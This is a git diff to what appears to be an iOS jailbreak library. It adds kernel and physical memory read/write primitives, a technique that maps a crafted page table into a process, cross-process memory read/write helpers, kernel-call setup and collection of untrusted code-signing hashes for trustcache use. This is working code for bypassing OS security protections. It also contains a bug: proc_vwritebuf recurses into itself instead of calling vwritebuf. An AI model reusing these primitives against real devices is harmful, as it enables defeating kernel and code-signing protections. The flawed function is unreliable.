a/BaseBin/libjailbreak/src/machine_info.h b/BaseBin/libjailbreak/src/machine_info.h new file mode 100644 index 0000000000..02248a573f --- /dev/null +++ b/BaseBin/libjailbreak/src/machine_info.h @@ -0,0 +1,76 @@ +#ifndef MACHINE_INFO_H +#define MACHINE_INFO_H + +#include + +/* A8 */ +#ifndef CPUFAMILY_ARM_TYPHOON +#define CPUFAMILY_ARM_TYPHOON 0x2c91a47e +#endif + +/* A9 */ +#ifndef CPUFAMILY_ARM_TWISTER +#define CPUFAMILY_ARM_TWISTER 0x92fb37c8 +#endif + +/* A10 */ +#ifndef CPUFAMILY_ARM_HURRICANE +#define CPUFAMILY_ARM_HURRICANE 0x67ceee93 +#endif + +/* A11 */ +#ifndef CPUFAMILY_ARM_MONSOON_MISTRAL +#define CPUFAMILY_ARM_MONSOON_MISTRAL 0xe81e7ef6 +#endif + +/* A12 */ +#ifndef CPUFAMILY_ARM_VORTEX_TEMPEST +#define CPUFAMILY_ARM_VORTEX_TEMPEST 0x07d34b9f +#endif + +/* A13 */ +#ifndef CPUFAMILY_ARM_LIGHTNING_THUNDER +#define CPUFAMILY_ARM_LIGHTNING_THUNDER 0x462504d2 +#endif + +/* A14, M1 */ +#ifndef CPUFAMILY_ARM_FIRESTORM_ICESTORM +#define CPUFAMILY_ARM_FIRESTORM_ICESTORM 0x1b588bb3 +#endif + +/* A15, M2 */ +#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE +#define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d +#endif + +/* A16 */ +#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH +#define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea +#endif + +/* A17 */ +#ifndef CPUFAMILY_ARM_COLL +#define CPUFAMILY_ARM_COLL 0x2876f5b5 +#endif + +/* A18 */ +#ifndef CPUFAMILY_ARM_TUPAI +#define CPUFAMILY_ARM_TUPAI 0x204526d0 +#endif + +/* A18 Pro */ +#ifndef CPUFAMILY_ARM_TAHITI +#define CPUFAMILY_ARM_TAHITI 0x75d4acb9 +#endif + +/* M3 */ +#ifndef CPUFAMILY_ARM_IBIZA +#define CPUFAMILY_ARM_IBIZA 0xfa33415e +#endif + +/* M4 */ +#ifndef CPUFAMILY_ARM_DONAN +#define CPUFAMILY_ARM_DONAN 0x6f5129ac +#endif + +#endif /* MACHINE_INFO_H */ diff --git a/BaseBin/libjailbreak/src/main.c b/BaseBin/libjailbreak/src/main.c index 9cd264c6ed..3a66735332 100644 --- a/BaseBin/libjailbreak/src/main.c +++ b/BaseBin/libjailbreak/src/main.c @@ -1,14 +1,16 @@ #include "jbclient_xpc.h" #include #include "physrw.h" +#include "physrw_pte.h" #include "kalloc_pt.h" #include "primitives_IOSurface.h" #include "info.h" #include "translation.h" #include "kcall_Fugu14.h" +#include "kcall_arm64.h" #include -int jbclient_initialize_primitives(void) +int jbclient_initialize_primitives_internal(bool physrwPTE) { if (getuid() != 0) return -1; @@ -16,15 +18,27 @@ int jbclient_initialize_primitives(void) if (jbclient_root_get_sysinfo(&xSystemInfo) == 0) { SYSTEM_INFO_DESERIALIZE(xSystemInfo); xpc_release(xSystemInfo); - if (jbclient_root_get_physrw(false) == 0) { - libjailbreak_physrw_init(true); + uint64_t asidPtr = 0; + if (jbclient_root_get_physrw(physrwPTE, &asidPtr) == 0) { + if (physrwPTE) { + libjailbreak_physrw_pte_init(true, asidPtr); + } + else { + libjailbreak_physrw_init(true); + } libjailbreak_translation_init(); libjailbreak_IOSurface_primitives_init(); if (__builtin_available(iOS 16.0, *)) { libjailbreak_kalloc_pt_init(); } - if (jbinfo(usesPACBypass)) { - jbclient_get_fugu14_kcall(); + if (gPrimitives.kalloc_local) { +#ifdef __arm64e__ + if (jbinfo(usesPACBypass)) { + jbclient_get_fugu14_kcall(); + } +#else + arm64_kcall_init(); +#endif } return 0; @@ -34,6 +48,11 @@ int jbclient_initialize_primitives(void) return -1; } +int jbclient_initialize_primitives(void) +{ + return jbclient_initialize_primitives_internal(false); +} + // Used for supporting third party legacy software that still calls this function int jbdInitPPLRW(void) { diff --git a/BaseBin/libjailbreak/src/physrw.h b/BaseBin/libjailbreak/src/physrw.h index 7fc8e38dfb..50e59713a9 100644 --- a/BaseBin/libjailbreak/src/physrw.h +++ b/BaseBin/libjailbreak/src/physrw.h @@ -4,9 +4,10 @@ #include #include #include +#include "info.h" -#define PPLRW_USER_MAPPING_OFFSET 0x7000000000 -#define PPLRW_USER_MAPPING_TTEP_IDX (PPLRW_USER_MAPPING_OFFSET / 0x1000000000) +#define PPLRW_USER_MAPPING_OFFSET (L1_BLOCK_SIZE * L1_BLOCK_COUNT) - 0x1000000000 +#define PPLRW_USER_MAPPING_TTEP_IDX (PPLRW_USER_MAPPING_OFFSET / L1_BLOCK_SIZE) int physrw_handoff(pid_t pid); int libjailbreak_physrw_init(bool receivedHandoff); diff --git a/BaseBin/libjailbreak/src/physrw_pte.c b/BaseBin/libjailbreak/src/physrw_pte.c index 2fe43b6af5..58ba47bd3e 100644 --- a/BaseBin/libjailbreak/src/physrw_pte.c +++ b/BaseBin/libjailbreak/src/physrw_pte.c @@ -8,13 +8,13 @@ #include #include #include +#include -// Last L2 block -#define MAGIC_PT_ADDRESS ((8 * L1_BLOCK_SIZE) - L2_BLOCK_SIZE) +#define MAGIC_PT_ADDRESS (L1_BLOCK_SIZE * (L1_BLOCK_COUNT - 1)) +#define gMagicPT ((uint64_t *)MAGIC_PT_ADDRESS) // fake variable uint8_t *gSwAsid = 0; static pthread_mutex_t gLock; -uint64_t *gMagicPT = (uint64_t *)MAGIC_PT_ADDRESS; void flush_tlb(void) { @@ -36,7 +36,7 @@ void acquire_window(uint64_t pa, void (^block)(void *ua)) int toUse = 0; // Find existing - for (int i = 2; i < (PAGE_SIZE / sizeof(uint64_t)); i++) { + for (int i = 2; i < L2_BLOCK_COUNT; i++) { if ((gMagicPT[i] & ARM_TTE_PA_MASK) == pa) { toUse = i; break; @@ -45,7 +45,7 @@ void acquire_window(uint64_t pa, void (^block)(void *ua)) // If not found, find empty if (toUse == 0) { - for (int i = 2; i < (PAGE_SIZE / sizeof(uint64_t)); i++) { + for (int i = 2; i < L2_BLOCK_COUNT; i++) { if (!gMagicPT[i]) { toUse = i; break; @@ -56,7 +56,7 @@ void acquire_window(uint64_t pa, void (^block)(void *ua)) // If not found, clear page table if (toUse == 0) { // Reset all entries to 0 - for (int i = 2; i < (PAGE_SIZE / sizeof(uint64_t)); i++) { + for (int i = 2; i < L2_BLOCK_COUNT; i++) { gMagicPT[i] = 0; } flush_tlb(); @@ -68,7 +68,7 @@ void acquire_window(uint64_t pa, void (^block)(void *ua)) __asm("dmb sy"); usleep(0); - block((void *)(MAGIC_PT_ADDRESS + (toUse * PAGE_SIZE))); + block((void *)(MAGIC_PT_ADDRESS + (toUse * vm_real_kernel_page_size))); pthread_mutex_unlock(&gLock); } @@ -76,9 +76,9 @@ void acquire_window(uint64_t pa, void (^block)(void *ua)) int physrw_pte_physreadbuf(uint64_t pa, void* output, size_t size) { __block int r = 0; - enumerate_pages(pa, size, PAGE_SIZE, ^bool(uint64_t curPA, size_t curSize) { - acquire_window(curPA & ~PAGE_MASK, ^(void *ua) { - void *curUA = ((uint8_t*)ua) + (curPA & PAGE_MASK); + enumerate_pages(pa, size, vm_real_kernel_page_size, ^bool(uint64_t curPA, size_t curSize) { + acquire_window(curPA & ~vm_real_kernel_page_mask, ^(void *ua) { + void *curUA = ((uint8_t*)ua) + (curPA & vm_real_kernel_page_mask); memcpy(&output[curPA - pa], curUA, curSize); __asm("dmb sy"); }); @@ -90,9 +90,9 @@ int physrw_pte_physreadbuf(uint64_t pa, void* output, size_t size) int physrw_pte_physwritebuf(uint64_t pa, const void* input, size_t size) { __block int r = 0; - enumerate_pages(pa, size, PAGE_SIZE, ^bool(uint64_t curPA, size_t curSize) { - acquire_window(curPA & ~PAGE_MASK, ^(void *ua) { - void *curUA = ((uint8_t*)ua) + (curPA & PAGE_MASK); + enumerate_pages(pa, size, vm_real_kernel_page_size, ^bool(uint64_t curPA, size_t curSize) { + acquire_window(curPA & ~vm_real_kernel_page_mask, ^(void *ua) { + void *curUA = ((uint8_t*)ua) + (curPA & vm_real_kernel_page_mask); memcpy(curUA, &input[curPA - pa], curSize); __asm("dmb sy"); }); @@ -101,15 +101,13 @@ int physrw_pte_physwritebuf(uint64_t pa, const void* input, size_t size) return r; } -int physrw_pte_handoff(pid_t pid) +int physrw_pte_handoff(pid_t pid, uint64_t *swAsidPtr) { if (!pid) return -1; uint64_t proc = proc_find(pid); if (!proc) return -2; - thread_caffeinate_start(); - int ret = 0; do { uint64_t task = proc_task(proc); @@ -124,57 +122,41 @@ int physrw_pte_handoff(pid_t pid) uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep)); // Allocate magic page table to our process at last possible location - uint64_t leafLevel; - do { - leafLevel = PMAP_TT_L3_LEVEL; - uint64_t pt = 0; - vtophys_lvl(ttep, MAGIC_PT_ADDRESS, &leafLevel, &pt); - if (leafLevel != PMAP_TT_L3_LEVEL) { - uint64_t pt_va = MAGIC_PT_ADDRESS; - switch (leafLevel) { - case PMAP_TT_L1_LEVEL: { - pt_va &= ~L1_BLOCK_MASK; - break; - } - case PMAP_TT_L2_LEVEL: { - pt_va &= ~L2_BLOCK_MASK; - break; - } - } - uint64_t newTable = pmap_alloc_page_table(pmap, pt_va); - physwrite64(pt, newTable | ARM_TTE_VALID | ARM_TTE_TYPE_TABLE); - } - } while (leafLevel < PMAP_TT_L3_LEVEL); + int exp_r = pmap_expand_range(pmap, MAGIC_PT_ADDRESS, L2_BLOCK_SIZE); + if (exp_r != 0) { ret = -6; break; } // Map in the magic page table at MAGIC_PT_ADDRESS - - leafLevel = PMAP_TT_L2_LEVEL; + uint64_t leafLevel = PMAP_TT_L2_LEVEL; uint64_t magicPT = vtophys_lvl(ttep, MAGIC_PT_ADDRESS, &leafLevel, NULL); - if (!magicPT) { ret = -6; break; } + if (!magicPT) { ret = -7; break; } physwrite64(magicPT, magicPT | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY); - // Map in the pmap at MAGIC_PT_ADDRESS+PAGE_SIZE + // Map in the pmap at MAGIC_PT_ADDRESS+vm_real_kernel_page_size uint64_t sw_asid = pmap + koffsetof(pmap, sw_asid); - uint64_t sw_asid_page = sw_asid & ~PAGE_MASK; + uint64_t sw_asid_page = sw_asid & ~vm_real_kernel_page_mask; uint64_t sw_asid_page_pa = kvtophys(sw_asid_page); - uint64_t sw_asid_pageoff = sw_asid & PAGE_MASK; - gSwAsid = (uint8_t *)(MAGIC_PT_ADDRESS + PAGE_SIZE + sw_asid_pageoff); + uint64_t sw_asid_pageoff = sw_asid & vm_real_kernel_page_mask; + *swAsidPtr = (uint64_t)(MAGIC_PT_ADDRESS + vm_real_kernel_page_size + sw_asid_pageoff); physwrite64(magicPT+8, sw_asid_page_pa | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY); - if (pthread_mutex_init(&gLock, NULL) != 0) { ret = -7; break; } - - flush_tlb(); + if (getpid() == pid) { + flush_tlb(); + } } while (0); - thread_caffeinate_stop(); proc_rele(proc); return ret; } -int libjailbreak_physrw_pte_init(bool receivedHandoff) +int libjailbreak_physrw_pte_init(bool receivedHandoff, uint64_t asidPtr) { + if (pthread_mutex_init(&gLock, NULL) != 0) return -8; + if (!receivedHandoff) { - physrw_pte_handoff(getpid()); + physrw_pte_handoff(getpid(), (uint64_t *)&gSwAsid); + } + else { + gSwAsid = (void *)asidPtr; } gPrimitives.physreadbuf = physrw_pte_physreadbuf; gPrimitives.physwritebuf = physrw_pte_physwritebuf; @@ -183,3 +165,19 @@ int libjailbreak_physrw_pte_init(bool receivedHandoff) return 0; } + +bool device_supports_physrw_pte(void) +{ + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { + // On A8, phyrw_pte causes SUPER WEIRD UNEXPLAINABLE SYSTEM RESTARTS + // No seriously, there is no panic-full log, only a panic-base that says "Unexpected watchdog reset" + // This exact report also what you would get when you do a hard reset, super weird... + // Luckily physrw doesn't have that issue so we can just use that immediately on A8 + // This makes jailbreaking a few seconds slower, but it's not the biggest deal in the world + return false; + } + return true; +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/physrw_pte.h b/BaseBin/libjailbreak/src/physrw_pte.h index f779a8071d..eadcb98919 100644 --- a/BaseBin/libjailbreak/src/physrw_pte.h +++ b/BaseBin/libjailbreak/src/physrw_pte.h @@ -5,7 +5,8 @@ #include #include -int physrw_pte_handoff(pid_t pid); -int libjailbreak_physrw_pte_init(bool receivedHandoff); +int physrw_pte_handoff(pid_t pid, uint64_t *swAsidPtr); +int libjailbreak_physrw_pte_init(bool receivedHandoff, uint64_t asidPtr); +bool device_supports_physrw_pte(void); #endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/primitives.c b/BaseBin/libjailbreak/src/primitives.c index 53119785e7..fffc415c2f 100644 --- a/BaseBin/libjailbreak/src/primitives.c +++ b/BaseBin/libjailbreak/src/primitives.c @@ -6,6 +6,7 @@ #include "util.h" #include #include +#include struct kernel_primitives gPrimitives = { 0 }; @@ -30,7 +31,7 @@ int _kreadbuf_phys(uint64_t kaddr, void* output, size_t size) memset(output, 0, size); __block int pr = 0; - enumerate_pages(kaddr, size, P_PAGE_SIZE, ^bool(uint64_t curKaddr, size_t curSize){ + enumerate_pages(kaddr, size, vm_real_kernel_page_size, ^bool(uint64_t curKaddr, size_t curSize){ uint64_t curPhys = kvtophys(curKaddr); if (curPhys == 0 && errno != 0) { pr = errno; @@ -48,7 +49,7 @@ int _kreadbuf_phys(uint64_t kaddr, void* output, size_t size) int _kwritebuf_phys(uint64_t kaddr, const void* input, size_t size) { __block int pr = 0; - enumerate_pages(kaddr, size, P_PAGE_SIZE, ^bool(uint64_t curKaddr, size_t curSize){ + enumerate_pages(kaddr, size, vm_real_kernel_page_size, ^bool(uint64_t curKaddr, size_t curSize){ uint64_t curPhys = kvtophys(curKaddr); if (curPhys == 0 && errno != 0) { pr = errno; @@ -68,7 +69,7 @@ int _physreadbuf_virt(uint64_t physaddr, void* output, size_t size) memset(output, 0, size); __block int pr = 0; - enumerate_pages(physaddr, size, P_PAGE_SIZE, ^bool(uint64_t curPhys, size_t curSize){ + enumerate_pages(physaddr, size, vm_real_kernel_page_size, ^bool(uint64_t curPhys, size_t curSize){ uint64_t curKaddr = phystokv(curPhys); if (curKaddr == 0 && errno != 0) { pr = errno; @@ -86,7 +87,7 @@ int _physreadbuf_virt(uint64_t physaddr, void* output, size_t size) int _physwritebuf_virt(uint64_t physaddr, const void* input, size_t size) { __block int pr = 0; - enumerate_pages(physaddr, size, P_PAGE_SIZE, ^bool(uint64_t curPhys, size_t curSize){ + enumerate_pages(physaddr, size, vm_real_kernel_page_size, ^bool(uint64_t curPhys, size_t curSize){ uint64_t curKaddr = phystokv(curPhys); if (curKaddr == 0 && errno != 0) { pr = errno; @@ -147,6 +148,62 @@ int physwritebuf(uint64_t physaddr, const void* input, size_t size) return -1; } +int vreadbuf(uint64_t tte_p, const void *addr, void *outdata, size_t datalen) +{ + __block bool success = true; + enumerate_pages((uint64_t)addr, datalen, vm_real_kernel_page_size, ^bool(uint64_t curStart, size_t curSize){ + uint64_t curPA = vtophys(tte_p, curStart); + if (curPA == 0) { + success = false; + return success; + } + success = physreadbuf(curPA, &outdata[curStart - (uint64_t)addr], curSize) == 0; + return success; + }); + return success ? 0 : -1; +} + +int vwritebuf(uint64_t tte_p, const void *addr, const void *indata, size_t datalen) +{ + __block bool success = true; + enumerate_pages((uint64_t)addr, datalen, vm_real_kernel_page_size, ^bool(uint64_t curStart, size_t curSize){ + uint64_t curPA = vtophys(tte_p, curStart); + if (curPA == 0) { + success = false; + return success; + } + success = physwritebuf(curPA, &indata[curStart - (uint64_t)addr], curSize) == 0; + return success; + }); + return success ? 0 : -1; +} + +int proc_vreadbuf(uint64_t proc, const void *addr, void *outdata, size_t datalen) +{ + uint64_t task = proc_task(proc); + if (!task) return -1; + uint64_t map = kread_ptr(task + koffsetof(task, map)); + if (!map) return -1; + uint64_t pmap = kread_ptr(map + koffsetof(vm_map, pmap)); + if (!pmap) return -1; + uint64_t ttep = kread_ptr(pmap + koffsetof(pmap, ttep)); + if (!ttep) return -1; + return vreadbuf(ttep, addr, outdata, datalen); +} + +int proc_vwritebuf(uint64_t proc, const void *addr, const void *indata, size_t datalen) +{ + uint64_t task = proc_task(proc); + if (!task) return -1; + uint64_t map = kread_ptr(task + koffsetof(task, map)); + if (!map) return -1; + uint64_t pmap = kread_ptr(map + koffsetof(vm_map, pmap)); + if (!pmap) return -1; + uint64_t ttep = kread_ptr(pmap + koffsetof(pmap, ttep)); + if (!ttep) return -1; + return proc_vwritebuf(ttep, addr, indata, datalen); +} + // Convenience Wrappers uint64_t physread64(uint64_t pa) @@ -216,12 +273,11 @@ uint64_t kread_ptr(uint64_t va) return UNSIGN_PTR(kread64(va)); } -// Fuck is an smd ptr??? (I know one thing that it could mean) -uint64_t kread_smdptr(uint64_t va) +uint64_t kread_smrptr(uint64_t va) { uint64_t value = kread_ptr(va); - uint64_t bits = (kconstant(smdBase) << (62-kconstant(T1SZ_BOOT))); + uint64_t bits = (kconstant(smrBase) << (62-kconstant(T1SZ_BOOT))); uint64_t case1 = 0xFFFFFFFFFFFFC000 & ~bits; uint64_t case2 = 0xFFFFFFFFFFFFFFE0 & ~bits; @@ -339,4 +395,16 @@ int kfree(uint64_t addr, uint64_t size) return gPrimitives.kfree_global(addr, size); } return -1; -} \ No newline at end of file +} + +bool is_kcall_available(void) +{ +#ifdef __arm64e__ + return jbinfo(usesPACBypass); +#else + if (__builtin_available(iOS 16.0, *)) { + return false; + } + return true; +#endif +} diff --git a/BaseBin/libjailbreak/src/primitives.h b/BaseBin/libjailbreak/src/primitives.h index 4e6d388837..7c9a6af02d 100644 --- a/BaseBin/libjailbreak/src/primitives.h +++ b/BaseBin/libjailbreak/src/primitives.h @@ -24,6 +24,10 @@ int kreadbuf(uint64_t kaddr, void* output, size_t size); int kwritebuf(uint64_t kaddr, const void* input, size_t size); int physreadbuf(uint64_t physaddr, void* output, size_t size); int physwritebuf(uint64_t physaddr, const void* input, size_t size); +int vreadbuf(uint64_t tte_p, const void *addr, void *outdata, size_t datalen); +int vwritebuf(uint64_t tte_p, const void *addr, const void *indata, size_t datalen); +int proc_vreadbuf(uint64_t proc, const void *addr, void *outdata, size_t datalen); +int proc_vwritebuf(uint64_t proc, const void *addr, const void *indata, size_t datalen); uint64_t physread64(uint64_t pa); uint64_t physread_ptr(uint64_t va); @@ -38,7 +42,7 @@ int physwrite8(uint64_t pa, uint8_t v); uint64_t kread64(uint64_t va); uint64_t kread_ptr(uint64_t va); -uint64_t kread_smdptr(uint64_t va); +uint64_t kread_smrptr(uint64_t va); uint32_t kread32(uint64_t va); uint16_t kread16(uint64_t va); uint8_t kread8(uint64_t va); @@ -58,4 +62,6 @@ int kalloc(uint64_t *addr, uint64_t size); int kfree(uint64_t addr, uint64_t size); +bool is_kcall_available(void); + #endif diff --git a/BaseBin/libjailbreak/src/primitives_IOSurface.m b/BaseBin/libjailbreak/src/primitives_IOSurface.m index 4ca049dc92..4fcb7841d6 100644 --- a/BaseBin/libjailbreak/src/primitives_IOSurface.m +++ b/BaseBin/libjailbreak/src/primitives_IOSurface.m @@ -6,6 +6,7 @@ #import #import #import +#import uint64_t IOSurfaceRootUserClient_get_surfaceClientById(uint64_t rootUserClient, uint32_t surfaceId) { @@ -202,12 +203,18 @@ void libjailbreak_IOSurface_primitives_init(void) (__bridge NSString *)kIOSurfaceBytesPerElement : @4, }); if (!surfaceRef) { - printf("Failed to initialize IOSurface primitives, add \"IOSurfaceRootUserClient\" to the \"com.apple.security.exception.iokit-user-client-class\" dictionary of the binaries entitlements to fix this.\n"); + char execPath[PATH_MAX]; + uint32_t execPathSize = PATH_MAX; + _NSGetExecutablePath(execPath, &execPathSize); + printf("Failed to initialize IOSurface primitives, add \"IOSurfaceRootUserClient\" to the \"com.apple.security.exception.iokit-user-client-class\" dictionary of the entitlements from \"%s\" to fix this. Due to this, the kalloc, kmap and kcall primitives will not work.\n", execPath); return; } CFRelease(surfaceRef); - gPrimitives.kalloc_global = IOSurface_kalloc_global; - gPrimitives.kalloc_local = IOSurface_kalloc_local; - gPrimitives.kmap = IOSurface_map; + gPrimitives.kmap = IOSurface_map; + if (@available(iOS 16.0, *)) {} + else { + gPrimitives.kalloc_global = IOSurface_kalloc_global; + gPrimitives.kalloc_local = IOSurface_kalloc_local; + } } \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/pte.h b/BaseBin/libjailbreak/src/pte.h index bdf636e328..7ecc0725f4 100644 --- a/BaseBin/libjailbreak/src/pte.h +++ b/BaseBin/libjailbreak/src/pte.h @@ -82,4 +82,24 @@ #define ARM_16K_TT_L3_SHIFT 14 #define ARM_16K_TT_L3_INDEX_MASK 0x0000000001ffc000ull +#define ARM_4K_TT_L0_SIZE 0x0000008000000000ULL +#define ARM_4K_TT_L0_OFFMASK 0x0000007fffffffffULL +#define ARM_4K_TT_L0_SHIFT 39 +#define ARM_4K_TT_L0_INDEX_MASK 0x0000ff8000000000ULL + +#define ARM_4K_TT_L1_SIZE 0x0000000040000000ULL +#define ARM_4K_TT_L1_OFFMASK 0x000000003fffffffULL +#define ARM_4K_TT_L1_SHIFT 30 +#define ARM_4K_TT_L1_INDEX_MASK 0x0000003fc0000000ULL + +#define ARM_4K_TT_L2_SIZE 0x0000000000200000ULL +#define ARM_4K_TT_L2_OFFMASK 0x00000000001fffffULL +#define ARM_4K_TT_L2_SHIFT 21 +#define ARM_4K_TT_L2_INDEX_MASK 0x000000003fe00000ULL + +#define ARM_4K_TT_L3_SIZE 0x0000000000001000ULL +#define ARM_4K_TT_L3_OFFMASK 0x0000000000000fffULL +#define ARM_4K_TT_L3_SHIFT 12 +#define ARM_4K_TT_L3_INDEX_MASK 0x00000000001ff000ULL + #endif diff --git a/BaseBin/libjailbreak/src/signatures.c b/BaseBin/libjailbreak/src/signatures.c new file mode 100644 index 0000000000..b40518b0f6 --- /dev/null +++ b/BaseBin/libjailbreak/src/signatures.c @@ -0,0 +1,127 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "trustcache.h" + +bool macho_is_mappable(MachO *macho) +{ + // Determine if there is any case in which the macho could be mapped + + struct mach_header *header = macho_get_mach_header(macho); + + cpu_type_t cputype = header->cputype; + cpu_subtype_t cpusubtype = header->cpusubtype; + bool isLibrary = (header->filetype == MH_EXECUTE); + + if (cputype != CPU_TYPE_ARM64) return false; + +#ifdef __arm64e__ + + if (cpusubtype == (CPU_SUBTYPE_ARM64E | CPU_SUBTYPE_ARM64E_ABI_V2)) { + // New arm64e ABI always mappable on arm64e + return true; + } + else if (cpusubtype == CPU_SUBTYPE_ARM64E && isLibrary) { + // Old arm64e ABI only mappable for libraries on arm64e iOS 14.6+ + return true; + } + +#endif + + // Anything arm64 is always mappable on all dvices + if ((cpusubtype == CPU_SUBTYPE_ARM64_V8) || (cpusubtype == CPU_SUBTYPE_ARM64_ALL)) return true; + + return false; +} + +bool csd_superblob_is_adhoc_signed(CS_DecodedSuperBlob *superblob) +{ + CS_DecodedBlob *wrapperBlob = csd_superblob_find_blob(superblob, CSSLOT_SIGNATURESLOT, NULL); + if (wrapperBlob) { + if (csd_blob_get_size(wrapperBlob) > 8) { + return false; + } + } + return true; +} + +bool code_signature_calculate_adhoc_cdhash(CS_SuperBlob *superblob, cdhash_t cdhashOut) +{ + bool isAdhocSigned = false; + + CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_decode(superblob); + if (decodedSuperblob) { + if (csd_superblob_is_adhoc_signed(decodedSuperblob)) { + if (csd_superblob_calculate_best_cdhash(decodedSuperblob, cdhashOut, NULL) == 0) { + isAdhocSigned = true; + } + } + csd_superblob_free(decodedSuperblob); + } + + return isAdhocSigned; +} + +bool macho_parse_code_signature(MachO *macho, cdhash_t cdhashOut) +{ + bool isAdhocSigned = false; + + CS_SuperBlob *superblob = macho_read_code_signature(macho); + if (superblob) { + isAdhocSigned = code_signature_calculate_adhoc_cdhash(superblob, cdhashOut); + free(superblob); + } + + return isAdhocSigned; +} + +void file_collect_untrusted_cdhashes(int fd, cdhash_t **cdhashesOut, uint32_t *cdhashCountOut) +{ + MemoryStream *s = file_stream_init_from_file_descriptor(fd, 0, FILE_STREAM_SIZE_AUTO, 0); + if (!s) return; + + Fat *fat = fat_init_from_memory_stream(s); + if (!fat) { + memory_stream_free(s); + return; + } + + __block cdhash_t *cdhashes = NULL; + __block uint32_t cdhashCount = 0; + fat_enumerate_slices(fat, ^(MachO *macho, bool *stop) { + if (macho_is_mappable(macho)) { + cdhash_t cdhash; + if (macho_parse_code_signature(macho, cdhash)) { + if (!is_cdhash_trustcached(cdhash)) { + cdhashCount++; + cdhashes = realloc(cdhashes, cdhashCount * sizeof(cdhash_t)); + memcpy(cdhashes[cdhashCount-1], cdhash, sizeof(cdhash)); + } + } + } + }); + + fat_free(fat); + + *cdhashesOut = cdhashes; + *cdhashCountOut = cdhashCount; +} + +void file_collect_untrusted_cdhashes_by_path(const char *path, cdhash_t **cdhashesOut, uint32_t *cdhashCountOut) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) return; + file_collect_untrusted_cdhashes(fd, cdhashesOut, cdhashCountOut); + close(fd); +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/signatures.h b/BaseBin/libjailbreak/src/signatures.h index a5f5cc9a6b..178544b69c 100644 --- a/BaseBin/libjailbreak/src/signatures.h +++ b/BaseBin/libjailbreak/src/signatures.h @@ -3,7 +3,19 @@ #include +typedef enum { + SIGNATURE_SOURCE_FILE, + SIGNATURE_SOURCE_PROC, +} signature_source_t; + +struct siginfo { + signature_source_t source; + fsignatures_t signature; +}; + typedef uint8_t cdhash_t[CS_CDHASH_LEN]; -void macho_collect_untrusted_cdhashes(const char *path, const char *callerPath, cdhash_t **cdhashesOut, uint32_t *cdhashCountOut); +bool code_signature_calculate_adhoc_cdhash(CS_SuperBlob *superblob, cdhash_t cdhashOut); +void file_collect_untrusted_cdhashes(int fd, cdhash_t **cdhashesOut, uint32_t *cdhashCountOut); +void file_collect_untrusted_cdhashes_by_path(const char *path, cdhash_t **cdhashesOut, uint32_t *cdhashCountOut); #endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/signatures.m b/BaseBin/libjailbreak/src/signatures.m deleted file mode 100644 index 935ac7c44a..0000000000 --- a/BaseBin/libjailbreak/src/signatures.m +++ /dev/null @@ -1,186 +0,0 @@ -#include -#include -#include -#include -#include "trustcache.h" - -#import - -MachO *ljb_fat_find_preferred_slice(FAT *fat) -{ - cpu_type_t cputype; - cpu_subtype_t cpusubtype; - if (host_get_cpu_information(&cputype, &cpusubtype) != 0) { return NULL; } - - MachO *candidateSlice = NULL; - - if (cpusubtype == CPU_SUBTYPE_ARM64E) - { - // New arm64e ABI - candidateSlice = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64E | CPU_SUBTYPE_ARM64E_ABI_V2); - if (!candidateSlice) { - // Old arm64e ABI - candidateSlice = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64E); - if (candidateSlice) { - // If we found an old arm64e slice, make sure this is a library! If it's a binary, skip!!! - // For binaries the system will fall back to the arm64 slice, which has the CDHash that we want to add - if (macho_get_filetype(candidateSlice) == MH_EXECUTE) candidateSlice = NULL; - } - } - } - - if (!candidateSlice) { - // On iOS 15+ the kernels prefers ARM64_V8 to ARM64_ALL - candidateSlice = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64_V8); - if (!candidateSlice) { - candidateSlice = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64_ALL); - } - } - - return candidateSlice; -} - -bool csd_superblob_is_adhoc_signed(CS_DecodedSuperBlob *superblob) -{ - CS_DecodedBlob *wrapperBlob = csd_superblob_find_blob(superblob, CSSLOT_SIGNATURESLOT, NULL); - if (wrapperBlob) { - if (csd_blob_get_size(wrapperBlob) > 8) { - return false; - } - } - return true; -} - -NSString *processRpaths(NSString *path, NSString *symbol, NSArray *rpaths) -{ - if (!rpaths) return path; - - if ([path containsString:symbol]) { - for (NSString *rpath in rpaths) { - NSString *testPath = [path stringByReplacingOccurrencesOfString:symbol withString:rpath]; - if ([[NSFileManager defaultManager] fileExistsAtPath:testPath]) { - return testPath; - } - } - } - return path; -} - -NSString *resolveLoadPath(NSString *dylibPath, NSString *loaderPath, NSString *executablePath, NSArray *rpaths) -{ - if (!dylibPath || !loaderPath) return nil; - - NSString *processedPath = dylibPath; - - // XXX: The order of these seems off? - processedPath = processRpaths(processedPath, @"@rpath", rpaths); - processedPath = processRpaths(processedPath, @"@executable_path", rpaths); - processedPath = processRpaths(processedPath, @"@loader_path", rpaths); - processedPath = [processedPath stringByReplacingOccurrencesOfString:@"@executable_path" withString:[executablePath stringByDeletingLastPathComponent]]; - processedPath = [processedPath stringByReplacingOccurrencesOfString:@"@loader_path" withString:[loaderPath stringByDeletingLastPathComponent]]; - - return processedPath; -} - -void macho_collect_untrusted_cdhashes(const char *path, const char *callerPath, cdhash_t **cdhashesOut, uint32_t *cdhashCountOut) -{ - @autoreleasepool { - if (!path) return; - if 